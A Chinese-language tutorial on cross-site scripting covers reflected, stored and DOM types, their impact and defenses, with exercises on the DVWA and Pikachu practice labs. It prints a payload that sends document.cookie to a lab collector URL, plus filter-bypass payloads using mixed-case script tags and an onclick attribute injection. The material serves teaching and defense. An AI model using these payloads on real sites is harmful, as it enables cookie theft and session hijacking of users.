1 ,漏洞简介
-
XSS 的原理 跨站脚本攻击 XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。XSS 攻击针对的是用户层面的攻击!
-
分类 XSS 分为:存储型 、反射型 、DOM 型 XSS 存储型 XSS:存储型 XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种 XSS 比较危险,容易造成蠕虫,盗窃 cookie 反射型 XSS:非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型 XSS 大多数是用来盗取用户的 Cookie 信息。 DOM 型 XSS:不经过后端,DOM-XSS 漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS 是通过 url 传入参数去控制触发的,其实也属于反射型 XSS
2 ,漏洞影响范围
-
Web 应用程序:XSS 漏洞主要影响 Web 应用程序,特别是那些允许用户输入和显示内容的网页应用程序。如果开发人员没有正确过滤或转义用户输入的数据,攻击者可以插入恶意脚本代码,并在受害者浏览器中执行。
-
受害者浏览器:XSS 漏洞通过操纵 Web 应用程序输出到受害者浏览器的 HTML 或 JavaScript 代码来实施攻击。一旦受害者浏览器加载了带有恶意脚本的页面,攻就可以执行作,如窃取用户信息、篡改页面内容或进行其他恶意活动。
-
用户:任何与受影响的 Web 应用程序交互
3 ,漏洞详解
xss 攻击通过注入恶意脚本到受害者的浏览器中执行,从而实施攻击
-
漏洞原理:XSS 漏洞发生在 Web 应用程序未正确对用户输入进行验证、过滤或转义,导致恶意脚本可以被插入到动态生成的 HTML 页面中,当其他用户访问该页面时,恶意脚本会在其浏览器中执行。
-
攻击类型:
-
反射型 XSS:攻击者将恶意脚本作为参数或数据提交给 Web 应用程序,然后服务器将这些恶意内容回显到响应页面,如果用户点击包含恶意脚本的链接,则恶意脚本会在其浏览器中执行。
-
存储型 XSS:攻击者将恶意脚本存储在 Web 应用程序的数据库或其他持久性存储中,然后其他用户在浏览相关内容时,服务器会将存储的恶意脚本返回给他们的浏览器,从而执行攻击。
-
-
攻击影响:
-
数据窃取:攻击者通过 XSS 可以窃取受害者的敏感信息,如登录凭据、Cookie 数据或其他个人隐私信息。 会话劫持:攻击者可以利用 XSS 漏洞获取受害者的会话信息,以伪装成受害者,并执行某些操作。
-
网站篡改:攻击者可以通过注入恶意代码来更改网站内容、插入广或钓鱼页面。
-
-
防御措施:
-
输入验证和过滤:对用户输入数据进行有效验证和过滤,确保不包含恶意脚本。
-
输出转义:在将用户数据插入到 HTML 或 JavaScript 代码之前,使用适当的编码/转义,可以防止被解析为可执行代码。
-
安全编码实践:采用安全的开发实践,如使用 Web 框架或库提供的安全方法。
-
内容安全策略(CSP):实施 CSP 可以帮助限制浏览器中可执行的内容来源,用于防止 XSS 攻击。
-
实例
dvwa
反射性 xss:
获取 cookie 值
存储型(持久型),每次进入页面或者刷新都会被执行
内容被存储
DOM 型 XSS
将English修改为ch
pikachu
cookie 获取
反射 get 型 xss
-
首先在 pikachu 的 xss(get)请求中构造 payload
<script>document.location='http://pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
输入框长度受限,修改到 200000,然后输入 payload,提交
提交成功后进入 pkxss 后台查看获取的 cookie
反射 post 型 xss
使用反射型 xss(post),可以看到数据是以 post 的形式传递在请求体中
构造 form 表单
构造 url,让登录用户点击 url,提交表单,获取 cookie,从而拿到用户的登录名和密码
存储型 xss
提交以后有弹框,下次打开自动弹框
xss 绕过
script
标签大小写绕过
<ScRipt>alert(666)</ScRipt>
htmlspecialcharts
后端使用 htmlspecialcharts 对输入的特殊字符进行过滤但是对'
不过滤
构造 payload
x' οnclick='alert(9999)'